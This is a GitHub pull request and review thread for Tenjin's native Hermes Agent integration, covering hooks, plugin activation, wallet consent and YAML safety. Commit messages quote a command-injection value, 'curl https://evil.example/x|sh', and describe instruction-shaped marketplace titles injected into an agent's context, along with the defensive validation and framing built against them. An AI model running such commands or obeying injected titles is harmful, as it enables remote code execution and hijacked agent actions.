Skip to content

feat(install): add native Hermes retrieval and publish-back hooks - #113

Open
A1igator wants to merge 35 commits into
mainfrom
agent/hermes-native-integration
Open

feat(install): add native Hermes retrieval and publish-back hooks#113
A1igator wants to merge 35 commits into
mainfrom
agent/hermes-native-integration

Conversation

@A1igator

@A1igator A1igator commented Aug 9, 2026

Copy link
Copy Markdown
Contributor

Summary

Add a working native Hermes Agent integration now, without waiting for upstream shell-hook transform support.

tenjin install --harness hermes now:

  • installs all three Tenjin skills under $HERMES_HOME/skills (default ~/.hermes/skills)
  • adds an additive mcp_servers.tenjin entry using the absolute installed CLI path
  • installs and explicitly enables a stdlib-only native plugin under $HERMES_HOME/plugins/tenjin
  • checks Tenjin before Hermes web_search, attaches a HIT to that tool result, and raises unresolved searches at final output for publish-back
  • reports the native MCP/plugin/activation state through tenjin doctor

Native hook boundary

The plugin registers Hermes's supported pre_tool_call, transform_tool_result, and transform_llm_output callbacks. It invokes #115's generated Node scripts with a Hermes envelope, so search response validation, origin/price checks, local search storage, open-loop selection, and nag bookkeeping remain one shared implementation rather than a copied payment-facing fork.

The adapter is fail-open: subprocesses use absolute executable/script paths, bounded timeouts and output size, return no block/approval directive, keep HIT state in a locked and bounded in-process map, and leave the original tool/final output unchanged on every failure.

Consent and preservation

  • Explicit --harness hermes is the plugin activation boundary.
  • Automatic detection may install skills/MCP/plugin files, but leaves executable plugin code inert and prints the explicit activation command.
  • An existing plugins.disabled Tenjin entry is never overridden, including the inline-list form.
  • Unsupported/ambiguous YAML and user-owned Tenjin MCP entries are left byte-identical with an actionable conflict result.
  • A standalone React Native hermes binary is not treated as Hermes Agent without a Hermes home.
  • HERMES_HOME must be absolute.
  • Writes are atomic, private, idempotent, and dry-run aware.

Deliberately absent

Hermes therefore keeps the same conservative global payment and publishing policy as Claude Code and Codex.

Validation

  • format check
  • TypeScript typecheck
  • ESLint
  • production build
  • package smoke test
  • 386 affected tests passing, covering the generated Python plugin syntax/runtime, native hook registration and transform behavior, Hermes script envelopes, YAML preservation, explicit/inert/disabled activation states, detection, install, doctor, and the shared Claude hook suite

Stacked on #115 (vraspar/adoption-loop) so the shared adoption-loop core lands first.

vraspar and others added 8 commits August 9, 2026 15:07
…ck when it is

A MISS was the one moment the demand a searcher just expressed could still be
met, and the only thing said about it was a nudge about candidates already
parked, which is silent on exactly the machine that has never parked one.

Every fresh MISS now carries the invitation: one stderr line for a human and a
`publishBack` object in the `--json` envelope with the searchId and both closing
commands. That object is the single CLI-owned key in what is otherwise the
server's response verbatim, and it is absent on a CANDIDATES decision, so the
contract-shaped path is byte-identical to what it was.

The local search store gains per-search resolution so the loop can be seen to
close: an outcome report, a candidate publish, or a parked candidate records who
closed it, first writer wins, and the mark is best-effort bookkeeping that never
throws and never fails the verb that ran. A bare file publish cannot name the
search it answers, so it deliberately leaves the loop open.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…minder

Two standalone Node scripts and the writer that registers them in Claude Code's
settings.json. A PreToolUse hook matched to WebSearch (never WebFetch) asks the
marketplace the same question the agent is about to ask the web, on a hard
two-second budget, and mentions a tested answer with its price and a free
`tenjin inspect` command. A Stop hook checks locally, with no network call, for a
MISS from the last eight hours that nothing has closed, and raises it once.

Fail-open is the contract, not an aspiration. Both emit only
`hookSpecificOutput.additionalContext` and never a `permissionDecision`, so
neither can block, deny, or modify a tool call; a miss, a timeout, a dead
network, a malformed payload and an unreadable config all end in exit 0 with
nothing on stdout and nothing on stderr, and a watchdog leaves the process even
if a socket ignores the abort. Server text is stripped of control characters
before it can reach a model's context, and stdout is written synchronously so
exiting cannot truncate the JSON the harness is parsing.

They are generated scripts rather than a `tenjin hook` subcommand because a hook
on the critical path must not pay for a CLI boot, and they must not depend on a
dist layout an upgrade can move. Only the data dir is baked in; `baseUrl` and the
new `hooks.searchMode` config key are read on every run, so
`tenjin config set hooks.searchMode off` disarms them with no re-install.

The settings writer carries the same invariants as the permission writer:
additive only, refuses a file it cannot understand rather than repairing it,
resolves symlinks before committing, and refuses a change that landed mid-run.
Ownership is by script filename, so a re-install is idempotent and a moved data
dir rewrites our entry in place instead of duplicating it. Shell quoting branches
on the platform, because a home directory with a space would otherwise install a
hook that can never run.

The nag record lives in its own hook-owned file rather than in searches.json: the
hook runs outside the CLI with no access to that store's lock, and losing a nag
is cheaper than erasing a search.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A run with nobody to ask used to skip the free-verb allowlist and the setup that
follows it, which meant the machine most likely to be denied mid-task was the one
that got the least. The allowlist and the search hooks are now written by default
when there is no one to ask, `--no-allow-free-verbs` and `--search-hooks off` are
the opt-outs, and every run that writes says how many rules landed, in which
file, and that removing those lines undoes it. The grant itself is untouched: a
fixed free tier that cannot spend, cannot open the keystore, and cannot widen.

Two reporting defects go with it. The headless arm short-circuited ahead of the
probe, so a re-run against an already-permissioned home reported `added: []` and
`alreadyPresent: []` whatever the file actually held; the probe now runs on every
path that might write, which is also what keeps the interactive consent gate from
re-adding a rule revoked between two reads. And every skipped permissions state
carries a `fix` naming the exact command, the same contract a CliError carries.

The wallet stays interactive-only, because a machine run has never created a key.
What changes is that the skipped decision is visible: the envelope now reports
`wallet: { status: "not-offered", reason: ... }` rather than omitting the field,
and answering no is recorded as `declined` so a choice cannot be confused with a
question that was never put.

Search hooks become the third decision, so the walkthrough is four questions
rather than three. The mode is persisted, so `tenjin config set hooks.searchMode`
is enough to change it later.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ry flag

The tenjin-search entry gate was four numbered conditions an agent had to walk
before deciding whether to look anything up, which is a deliberation the decision
does not deserve. It is now one line ("public + durable + costly to reproduce,
then search first; otherwise just do the task"), with the four conditions kept
below as fine print for a close call.

Adds a short delegation block (tenjin-agent#109): which verbs a read-only
subagent may run, and which stay in a mutation-capable, human-gated context.
`outcome` is the one free verb held back, because it reports on the parent's
search and a subagent running it moves the marketplace signal on a decision it
did not make. `tenjin doctor` mirrors the rule in one line, beside the allowlist
an operator is reading when they decide what to hand a subagent.

The README documents every user-facing flag as a per-command table, which
surfaces `--artifact-type`, `--temporal-mode` and `--content-hash` for the first
time, and adds a config-key table and a search-hook reference. The prose those
tables replace is cut rather than kept beside them.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The hook POSTed to the search endpoint on its own, so everything it learned died
with the process: a MISS it found never entered local state, the Stop hook could
not see it, and publish-back worked only for explicit `tenjin search` runs. The
hook was answering the question the loop was built to notice and then throwing
the answer away.

It now writes every search it performs into the same store `tenjin search` uses,
tagged `source: 'websearch-hook'` against `'cli'` for deliberate searches, hits
included so a later purchase attributes back and `buy <resourceId>` can resolve
the payable read URL. ONE store, not parallel state: the script cannot import the
CLI's lock, so it honors the identical protocol (an atomic-mkdir directory, no
stale-stealing) and a test runs the real script concurrently against the real
recorder to prove neither write is lost. It gives up on a contended lock in
400ms and stays silent, because recording is bookkeeping and the WebSearch is
the user's actual work.

The Stop hook now treats the two sources differently, since they are not equally
worth an agent's attention. A deliberate search nobody answered is named on its
own line with its searchId. Searches the hook rode along with are batched into
one line, at most three: nobody vetted those questions for the marketplace, and
only the agent can tell which produced a durable public finding. The hook never
makes that judgment; it has no way to.

Adds `hooks.stopNag on|off` beside `hooks.searchMode`, both read from config on
every run, so either hook is silenced by one `config set` with no re-install and
nothing to unwire.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
`buy` and publishing back after a MISS both need a key, so an install that
leaves the machine walletless is a setup that stops at the first useful thing an
agent tries. A wallet is now created on both paths; an interactive run still asks
and still defaults to yes, and `--no-wallet` is the opt-out.

The headless path uses the passphrase policy the CLI already enforces: an
explicit TENJIN_WALLET_PASSPHRASE, else a strong generated passphrase written to
the platform's OS credential store and verified by reading it back. With neither
available it creates NOTHING and reports skipped/no-passphrase-store with both
remedies named. There is deliberately no plain-file fallback, because a
passphrase stored beside the keystore it unlocks protects nothing and an install
is not the place to invent one. A wallet that cannot be created never fails the
install: the skills, hooks and permissions this run wired are useful without one.

A created wallet is disclosed rather than merely reported: the address, that it
holds $0, that funding is a human step no part of this CLI can perform, and that
the key is encrypted at rest and never leaves the machine. `not-offered` is gone,
replaced by `skipped` with a reason and a fix; `declined` still means somebody
said no.

Adds `--no-hooks`, which registers nothing for one run and writes no config. That
is deliberately not `--search-hooks off`, which is a durable statement and
persists `hooks.searchMode`.

The install test fixture now injects the passphrase seam on EVERY path. Without
it a headless install in the suite would create a real wallet, and on macOS that
writes into the developer's own login keychain under the `tenjin-cli` service.
Creation itself is stubbed by default so the ~140 tests that are not about the
wallet do not each pay for a scrypt derivation; the wallet tests opt into the
real creator against a fake keychain.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Documents that everything is on by default on both paths with a per-item opt-out,
the two runtime hook toggles and that they need no re-install, the wallet
passphrase policy including the deliberate absence of a plain-file fallback, and
the `--no-hooks` / `--search-hooks off` distinction. Adds `hooks.stopNag` to the
config table.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
… side

The WebSearch hook script reimplements src/lib/lock.ts because it runs standalone
and cannot import it, yet writes the CLI's searches.json. Two writers of one file
that disagree about the mutex have no mutex, and nothing pointed the next person
changing one copy at the other.

Both sites now carry a MUST-UPDATE-TOGETHER comment naming the other, and this is
the test those comments promise. Five cases, each aimed at a specific drift
rather than at a race going the wrong way: a lock held at the path the CLI
computes stops the script dead, the same run records once it is released, a
successful run leaves no lock behind, a lock the script did not take is never
stolen however stale it looks, and five concurrent CLI writers plus the script
lose no entry between them.

Verified by mutation rather than by assertion alone. Pointing the script at a
different lock path fails four of the five; making it steal a stale lock fails
three; making it leak the lock fails two, one of them by timing the CLI out.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@A1igator A1igator added the priority: high High priority label Aug 9, 2026

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.

…rocess.env

"uses TENJIN_WALLET_PASSPHRASE when it is set" flaked in a full run and passed in
isolation. The cause was the test steering the passphrase source with
`vi.stubEnv`, because there was no other way to: `createWalletLocked` read
`process.env` directly and `PassphraseOverrides` deliberately omits `env`. Vitest
does not restore env stubs between files, so a stub of that variable is a
process-wide edit shared with every other file in the same worker.

`wallet create` now takes `env` as an option, defaulting to process.env, and
`install` threads its existing `deps.env` into it. The test steers the passphrase
through that seam and mutates nothing global; no install test touches process.env
any more.

The shared install fixture also pins `env: {}`, which is load-bearing in the other
direction: an ambient TENJIN_WALLET_PASSPHRASE, from a developer's shell or leaked
by another file, would reroute the passphrase away from the OS store these tests
assert on and make the keychain assertions vacuous. Removing that line and running
the file with such a variable set fails three tests, which is how it was verified.

Adds the mirror case, that with no passphrase in the environment the store is the
source, so both branches of the policy are pinned rather than one.

Full suite run three times consecutively: 1708 passed, 10 skipped, each time.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Codex already got this line in its AGENTS.md on every install, so leaving Claude
Code's copy behind `--claude-md` left the harness most people run as the one that
never learned to search first. It is now written by default on both paths, with
`--no-claude-md` as the opt-out and `--claude-md` kept as a redundant affirmative.
Still not a question: it is one idempotent marker line, a smaller consequence
than the four decisions, and its existing disclosure and undo already ride the
walkthrough (verified by a test that a bare run prints both).

The line's text also caught up with the skill it mirrors. It used to name example
categories ("version-specific compatibility, integration gotchas, benchmarks,
dated probes"), which reads as a checklist to work through at exactly the moment
an agent should be deciding in a second. It now carries the single heuristic the
tenjin-search entry gate collapsed to. The two must stay in sync: this line is
what a harness reads when the skill is not in play.

Because the marker upsert rewrites a drifted line in place, an existing install
picks up the new wording on its next run rather than accumulating a second line.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@vraspar vraspar left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: three majors before merge — YAML corruption on non-2-space configs, wallet auto-create fires on a weak signal without consent, and an unguarded create aborts install unrecoverably

Reviewed at 884a58d (delta over #112). The three majors were verified by hand against the checked-out head, not taken from a reviewer on faith.

What's solid:

  • MCP_ENTRY is a fixed constant with zero interpolation, so no path or env value can inject YAML.
  • Both Hermes writes go through writeFileAtomic with 0o600/0o700 and same-directory temp+rename.
  • The policy numbers match the PR body exactly (maxAutoSpend 250000, sessionBudget 5000000, confirm above:250000, publish.mode auto), and confirmation/budget enforcement stays in the CLI's own spend path (evaluateSpendPolicy), not in a skippable layer.
  • Wiring is idempotent in the shapes it handles: second runs return up-to-date with no duplicate YAML child or env line, and a differing user-owned 2-space tenjin: entry conflicts byte-identically.

Major

  1. [security/integrity] Guard the mcp_servers child indentation before splicing; a non-2-space block gets corrupted into unparseable YAML: planHermesMcp locates the root and unconditionally splices the fixed 2-space MCP_ENTRY, never inspecting the indentation the existing children use (src/lib/hermes.ts#L149-L153). Confirmed against js-yaml from this worktree: 4-space children produce bad indentation of a mapping entry; a user-owned tenjin: entry at 4-space indent slips past the /^ {2}tenjin:/ probe (#L138) so the conflict path is bypassed and a duplicate key is written; sequence-style and tab-indented blocks also break. This directly contradicts the module docstring's promise that ambiguous YAML is reported as a conflict, and the corrupted file takes the user's whole Hermes config down. Fix: before splicing, check the first non-blank, non-comment child line matches /^ {2}\S/ and return conflict(...) otherwise; add hermes.test.ts cases for 4-space children, a 4-space tenjin:, and a sequence block asserting conflict plus a byte-identical file.

  2. [security] Gate wallet auto-create on a stronger Hermes signal and on consent: the trigger is harnessDetectedBy(...), which fires on existsSync(hermesHome) OR which('hermes') (src/lib/skill-wiring.ts#L101-L111), and hermes is also the React Native JS-engine binary name. A Claude-only machine with that binary on PATH gets ~/.hermes/{skills,config.yaml,.env}, a policyProfiles.hermes autonomy block, and a freshly minted encrypted key it never asked for. The call passes autoCreate = true, which skips WALLET_QUESTION entirely — even at a TTY — removing decision 3 of the documented walkthrough (src/commands/install.ts#L418-L421); it also breaks the stated invariant that a machine/JSON run never creates a key. Fix: require a Hermes-shaped home (hermesConfigPath exists) or an explicit --harness hermes before auto-creating, and keep the confirm whenever canPrompt is true; test both.

  3. [integrity] Isolate the wallet step; a passphrase failure aborts the whole install and every re-run fails identically: the auto-create call is unguarded, and on a headless host with no TENJIN_WALLET_PASSPHRASE, no credential store, and no TTY, resolvePassphraseForCreate throws noPassphraseError() (src/lib/wallet/passphrase.ts#L283) — exactly the always-on server this feature targets. Skills, config.yaml, .env, and the policy profile are already written by then, the embedded doctor run and summary never happen, and the error text does not mention --no-wallet. Fix: wrap the create in try/catch, record {status:'none', reason} plus a warning naming both TENJIN_WALLET_PASSPHRASE and --no-wallet, let install complete; add a test with a rejecting createWallet asserting success plus the warning.

Minor

  1. [integrity] A relative HERMES_HOME throws on a bare tenjin install before detection even runs: resolveHermesHome is called unconditionally unless an explicit --harness list excludes hermes, so a Claude-only machine with a stray relative HERMES_HOME cannot install at all. Fall back (with a warning) instead of throwing on the no-flag path. src/commands/install.ts#L361

  2. [security/ops] Prefer an absolute path for the MCP command and probe PATH in doctor's Hermes check: command: "tenjin" resolves against whatever PATH Hermes has at launch — systemd/launchd starts often lack the npm global bin (server silently fails to start), and whoever can prepend to that PATH substitutes the binary that signs payments. src/lib/hermes.ts#L199

  3. [copy-vs-behavior] Drop the "your harness still shows each command for approval" clause from the Hermes publish summary: this install wires Tenjin as an MCP server, so publish arrives as a tool call, not a shell command — the clause that makes auto sound safe is false for exactly this target. src/commands/install.ts#L657

Nits (2), none blocking
  • src/lib/hermes.ts:7HERMES_MCP_SERVER_NAME is exported and unused.
  • src/commands/install.ts:1096dirname(plan.skillsDir) re-derives what HarnessPlan could carry as hermesHome; eight dirname calls where one field would do.
Verified, not issues
  • No YAML content injection: the written entry is a constant; HERMES_HOME never reaches the file body.
  • TENJIN_HARNESS is written only into $HERMES_HOME/.env and the MCP entry's env: map — it does not leak into Claude/Codex processes.
  • Auto-publish keeps its hard gate: scan.ts block findings refuse publish in every mode and are not --yes-clearable; untouched by this PR.
  • Multi-harness installs keep working: claude/codex/hermes plans are pushed independently and deduped by skills dir.
  • Existing wallets are never replaced; --no-wallet is honored on the paths that reach resolveWallet.

Decision (owner): this PR makes presence-detection (a directory or a binary) enable autonomous spend and auto-publish by seeding policyProfiles.hermes plus a wallet, with no recorded consent and no revocation gesture (tenjin config --profile hermes --disable or similar). Majors 2 and 3 shrink the blast radius, but whether detection alone may ever activate autonomy — versus requiring an explicit --harness hermes once — is a product call that should be made deliberately, together with #112's TENJIN_HARNESS caveat-surface note.

Verdict: comments-only; not ready until the three majors land. Ran: hand-verification of all three majors against the head checkout (YAML splice paths, detection trigger, unguarded throw path); reviewer ran focused hermes/install/doctor test files at head, passing.

Brings in #106 (outcome echoes the targeted search and refuses an impossible
status) and #107 (de-spam doctor, verify the wallet, reorder install output).

Every conflict resolved to keep BOTH sides:

- search-store.ts: purely additive. main's `paidBrowseCount` sits beside our
  `source` and `resolved`, so the coherence gate and the open-loop tracking both
  have their fields.
- outcome.ts: main's `resolveTarget` / `assertOutcomeCoherent` / question echo,
  plus our `markSearchResolved`. The mark stays AFTER the post, so a report the
  new gate refuses leaves the loop open for the Stop hook to raise.
- install.ts: main's #101 ordering wins, and our decisions join it. All FOUR
  decisions run first, then doctor collects over the machine they produced, which
  matters more with our defaults than it did without them: a headless run now
  creates a wallet, and a doctor snapshot taken earlier would report "No wallet"
  for a wallet that exists. #80's no-wallet suppression is re-expressed over our
  richer status set (`declined` and `skipped` both mean the summary already said
  it; `created` and `existing` never suppress).
- permissions.ts: main deleted `renderPermissionsBlock` in favour of a single
  pointer line, so our delegation guidance moved with the rest of the prose to
  docs/agent-permissions.md and doctor keeps exactly ONE closing line (#81), which
  now names delegation alongside the allowlist.
- cli.ts: main's absolute permissions URL and wallet-verification wording, with
  our "the default" framing for `--allow-free-verbs`.
- outcome.test.ts: main's suite taken whole, our resolution tests re-added on its
  fixtures, plus the combinations neither side had.
- README.md: our per-command tables kept, main's `### doctor` section and its
  install-ordering wording folded in.

Also aligns our delegation prose with #107's corrected tier claim: the free tier
cannot spend and cannot MOVE YOUR KEYS, rather than cannot open the keystore,
since `doctor` now decrypts locally to verify the wallet opens.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.

@A1igator A1igator changed the title feat(install): add native autonomous Hermes setup feat(install): add consent-gated native Hermes setup Aug 10, 2026
@A1igator

Copy link
Copy Markdown
Contributor Author

Addressed all review feedback in 7407692 and merged the fixed #112 parent to resolve the stack conflict.

  • Added a strict mcp_servers child-shape guard. Four-space children, a four-space tenjin, and sequence blocks now return conflict and preserve the file byte-for-byte.
  • Made explicit --harness hermes the consent boundary for seeding autonomous policy and headless wallet creation. Detection from a directory/binary still wires skills/MCP, but cannot activate autonomy. Interactive explicit installs retain Create a wallet now?.
  • Isolated headless wallet-create failures: the result records status: none plus a reason naming TENJIN_WALLET_PASSPHRASE and --no-wallet, the warning is surfaced, and install proceeds through doctor.
  • Bare installs now warn and fall back on a relative HERMES_HOME; explicitly targeting Hermes still refuses the invalid path.
  • Hermes MCP config now stores the absolute running CLI path. Doctor validates absolute paths and probes PATH for legacy relative commands.
  • Removed the false claim that every harness still shows each auto-publish command for approval.
  • Removed the unused server-name constant and carried hermesHome/the CLI path in HarnessPlan instead of re-deriving it.

Validation: typecheck, lint, repository-wide Prettier, production build, focused suite (407 passed), and full suite (1,718 passed / 10 skipped), including eval-harness localhost tests.

vraspar and others added 4 commits August 9, 2026 21:17
--allow-free-verbs and --claude-md are now the default; they stay parseable
because released doctor output and docs name them, but they earn no help line.
The tier claim and permissions URL move to the visible --no-allow-free-verbs.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…hook prompt as a decline

Operator changes 1 and 3 on #115.

A non-interactive install left `publish.mode` unset (effective `review`) while the
interactive select recommends `auto`, so the one decision governing what the agent
puts on a public marketplace was the only one where headless and an interactive
all-yes disagreed. Headless now settles and persists the recommended mode. An
already-configured mode is respected, `--publish-mode` still wins, and a dry run
settles nothing. A test pins the headless answer equal to the select's first
choice, so the two cannot drift apart and quietly falsify the parity claim.

Cancelling the search-hooks prompt used to resolve to `auto`, register both hooks
and persist the mode: the only Escape in the walkthrough that wrote anything. It
now behaves like `--no-hooks` for that run, registering nothing and writing no
config, and an answer the schema does not recognize is treated the same way. The
comment that claimed this all along, and the question copy, now say what happens.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…the settings guard

Operator changes 2, 7, 8 and 9 on #115.

The hint rendered a publisher-authored title inline as an authoritative sentence,
so an instruction-shaped title arrived in a trusted context reading like an
instruction. `clean()` strips control bytes and cannot make prose inert, so the
framing does that instead: the title is quoted, the line reads as a listing
("Tenjin lists a paid answer titled ..."), and a trailing note attributes quoted
titles as marketplace-authored text. Pinned with a rendering test whose title is
literally an override attempt.

Script writes move BEHIND the settings compare-and-swap. They used to run before
it, so a `changed-since-read` refusal had already replaced the bodies that
existing entries were running while reporting that nothing was registered. They
still land before the entry that points at them, so no harness ever reads an entry
naming a file that is not on disk. Verified by mutation: restoring the old order
fails the new test.

Also caps the stored `resourceId` and `price` the way `title` was already capped,
so a hostile base URL cannot bloat searches.json an entry at a time, and corrects
two claims the review caught: the hard bound on either hook is the harness's own
`timeout: 5` kill rather than the event-loop watchdog, and the Stop hook raises a
loop once per turn-end rather than once ever, since two sessions ending together
can duplicate a line. No lock: the cost is one duplicate line and a cross-process
wait at every turn end would buy nothing else.

HOOK_SCRIPT_VERSION 2 -> 3.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Operator changes 4 and 5 on #115.

`outcome` is in the free-verb allowlist, so carving it out of the subagent-safe
set in the delegation block was an inconsistency with no rationale behind it. The
skill and the permissions page now list all nine, with the caveat widened to say
that `search` and `outcome` both POST off-machine. The doctor pointer's own
comment no longer describes a split that does not exist.

The README states the flag rule in one line above the install table: `--no-*` are
this-run opt-outs that write no config, `--publish-mode` and `--search-hooks` are
provisioning flags that persist. That is why `--no-hooks` and `--search-hooks off`
differ, which previously needed a footnote.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@vraspar

vraspar commented Aug 10, 2026

Copy link
Copy Markdown
Contributor

Direction update from the harness-integration architecture decision.

This PR will not merge as-is, but much of it is wanted. Plan:

Keep (salvage): the Hermes detection (resolveHermesHome with the absolute-path guard), skills install into ~/.hermes/skills, the careful config.yaml MCP wiring (idempotency markers, conflict detection with left-untouched warnings, atomic writes, dry-run), and the doctor extensions. This code is good and gets reused.

Drop:

Add (the piece this PR never had): the retrieval-reflex hooks. Register #115's hook scripts in ~/.hermes/hooks/pre_tool_call with a matcher on the web-search tool, transform_tool_result for the HIT hint, transform_llm_output for the publish-back nag. Note: #115's script generator currently welds the shared core (search call, store, nag) to Claude Code's stdin/stdout envelope; parameterize that envelope as part of this port, not in #115.

Out of scope here: wallet-provider coupling of any kind. Buying stays with the Tenjin wallet under spend policy (a one-shot tenjin wallet fund --from clawrouter flow is tracked separately); creator payouts to an external address are server-side work.

Rework this PR in place or close it and open the reworked one — author's choice. Rough size: 3-5 days including a short Hermes hook-format spike (their docs, not assumptions). ECC was evaluated and rejected as a generator for this: see #121.

…quoted frame

Display path only: the stored projection keeps the title verbatim. Script
version to 4 so re-runs refresh installed copies.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@A1igator

Copy link
Copy Markdown
Contributor Author

I’ve started the requested rework and agree with the keep/drop boundaries: retain Hermes detection, skills, additive MCP YAML wiring, atomic/idempotent/dry-run behavior, and doctor coverage; remove the #112 policy-profile dependency, TENJIN_HARNESS, autonomous spend/publish defaults, special wallet creation, and wallet-provider coupling.

The hook-format spike found an upstream blocker in the proposed shell-hook shape:

  • ~/.hermes/hooks/<name>/ is the gateway-only HOOK.yaml/handler.py surface. Hermes’s agent shell hooks are declared in config.yaml and conventionally live under ~/.hermes/agent-hooks/; native plugins live under ~/.hermes/plugins/<name>/. Official comparison
  • Current agent/shell_hooks.py::_parse_response only preserves a pre_tool_call block, a pre_verify continuation, or a top-level context value. It returns None for the string return required by transform_tool_result and transform_llm_output, so those scripts can register and execute while their transformed output is silently discarded. Current parser, upstream transform-output bug
  • pre_tool_call itself cannot inject the HIT hint; its only honored return is a block. The hint therefore needs a working transform_tool_result callback after the web-search tool returns.

I’m not going to ship a configuration that looks wired but silently does nothing. The viable current implementation is a native Python plugin under ~/.hermes/plugins/tenjin/ registering pre_tool_call, transform_tool_result, and transform_llm_output; that adds Hermes’s explicit plugin-enable/consent surface and should be treated as the corrected architecture. The alternative is to wait for Hermes to add shell-hook transform return support.

I’m also holding the shared-core port until #115 resolves the two newly-open trust/write findings, so this PR does not copy a permissive response parser or stale-snapshot settings writer.

Please confirm native plugin versus upstream wait. Once settled, I’ll rebuild this branch on #115 (not #112), retain the accepted Hermes integration, and update the title/body around the actual boundary.

@A1igator A1igator changed the title feat(install): add consent-gated native Hermes setup feat(install): rework native Hermes integration without policy defaults Aug 10, 2026
vraspar and others added 2 commits August 9, 2026 23:37
…r rendering it

Round-3 major 1 on #115. The generated hook talks to whatever origin `baseUrl`
names, so its response is untrusted input, and the fields it carries are
ACTIONABLE: a resourceId is interpolated into a command the agent is invited to
run, and a url is a payable pointer a later `buy` resolves. It accepted any
object, coerced every non-CANDIDATES decision to MISS, and control-cleaned then
TRUNCATED ids and urls, which does not shorten them so much as invent different
ones that still look legitimate. A hostile origin returning
`x; curl https://evil.example/x|sh #` landed it outside the quoted-title frame.

The script now enforces the same invariants as src/lib/agent-api.ts, and drops
rather than repairs: uuid searchId (else the whole record goes), exact
CANDIDATES/MISS decision (else silent), uuid resourceId, a url that parses AND
shares the request origin, an atomic price or '0'. Candidates are capped at
SEARCH_LIMIT before anything is examined, so a ten-thousand-candidate response
costs what a two-candidate one does. The display loop now reads the validated
projection rather than the raw response, so an id that failed validation cannot
reach the hint even if the two loops drift.

Found while testing: `\d` inside the TypeScript template literal that generates
the script is an unrecognized escape and collapses to a bare `d`, so the emitted
regex was /^d{1,39}$/ and every price read as non-atomic. Fixed, and the other
two regexes in the generated bodies audited for the same class.

Adversarial coverage: command-shaped resourceId reaches neither hint nor store,
oversized and malformed searchIds drop the record, a 10k-candidate response
stores at most SEARCH_LIMIT, off-origin and unparseable urls are dropped, every
malformed decision is silent, a non-atomic price stores '0'.

HOOK_SCRIPT_VERSION 4 -> 5.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…fore the writes

Round-3 major 2 on #115. The guard compared settings.json, then awaited two script
read/write/rename sequences, then replaced the whole file from the snapshot taken
before them. A Claude Code or installer write landing during `writeScripts` passed
the comparison and was erased at the final rename.

There are now two compares and both earn their place. The early one refuses before
a byte is written, so the ordinary contended case costs nothing and leaves nothing
half-done. The second sits immediately before the atomic rename and closes the
window the first cannot see. On a mismatch the refusal reports the scripts that
WERE refreshed, so the result describes what happened instead of claiming nothing
was touched; the bodies are versioned and idempotent, so a refreshed script with
no new entry is inert and the re-run the fix names simply registers it.

The test interleaves a concurrent settings write during `writeScripts` and proves
the other writer's bytes survive verbatim. Verified by mutation: removing the
second compare fails it.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.

@A1igator

Copy link
Copy Markdown
Contributor Author

Thanks for re-running all seven rather than reading the delta, and for checking the loader claims against upstream independently. The new minor is fixed in 6936304, along with the first nit.

New minor — disabled conflating an action with a state

Fixed, and you picked the right seam: the problem was the field's meaning, not its rendering. HermesWriteStatus gains skipped, and the two are now documented as different kinds of claim. skipped is about THIS RUN only: the hooks decision withheld the write, and whatever is on disk is still whatever it already was. disabled stays a statement about the target, which is what plugins.disabled being honored and auto-detection leaving code inert both are.

The warning names the surviving state, and it distinguishes the two cases, because "still installed" and "still running" are not the same fact here. The generated scripts read hooks.searchMode on every invocation, so a plugin left enabled with the mode stored off is on disk, listed in plugins.enabled, and inert. Saying "keeps running" there would have replaced one false claim with another.

Your exact repro, on the built CLI:

install: plugin=skipped activation=skipped
warn   : No Hermes hook code was written this run. Wire them with `tenjin install --search-hooks auto`.
         An enabled plugin from an earlier run is still in <hermesHome>/plugins/tenjin and keeps
         running; this run opted out of writing, not out of the plugin. Remove it with
         `tenjin config set hooks.searchMode off`.
doctor : plugin=installed activation=enabled (ok)
on disk: __init__.py plugin.yaml

Install and doctor now describe the same machine. Three tests: the re-run case asserting skipped on both fields plus the surviving-plugin sentence AND that readHermesIntegrationStatus still reports installed/enabled, the mode: off case asserting the wording says inert rather than running, and the fresh-home case asserting no survivor sentence when there is no survivor.

No renderer needed updating: these statuses only reach the JSON envelope, never the human walkthrough.

Nit 1 — comments narrating review history

Fair, and the distinction you drew is the useful one. This repo does use "used to" for real shipped defects (skill-writer.ts, permissions.ts, wallet/spend.test.ts and a couple dozen others), and those earn it: someone can still be holding the old behavior. Nothing in this PR ever shipped, so the same phrasing was documenting a review round, which is exactly what git is for.

Rewrote the six I introduced to state the invariant forward, keeping the halves that explain why the code has to be this way:

  • blockEnd: now "Membership is INDENT, never a sibling-key regex. A probe keyed on a colon does not recognize a plain comment as a sibling..." rather than describing the old probe.
  • The activation classifier comment: "A reader that is more permissive than the writer hands out a fix that walks straight into a refusal."
  • skillsDirsFor: "A default makes a wrong value invisible at the call site, and the failure it hides is silent."
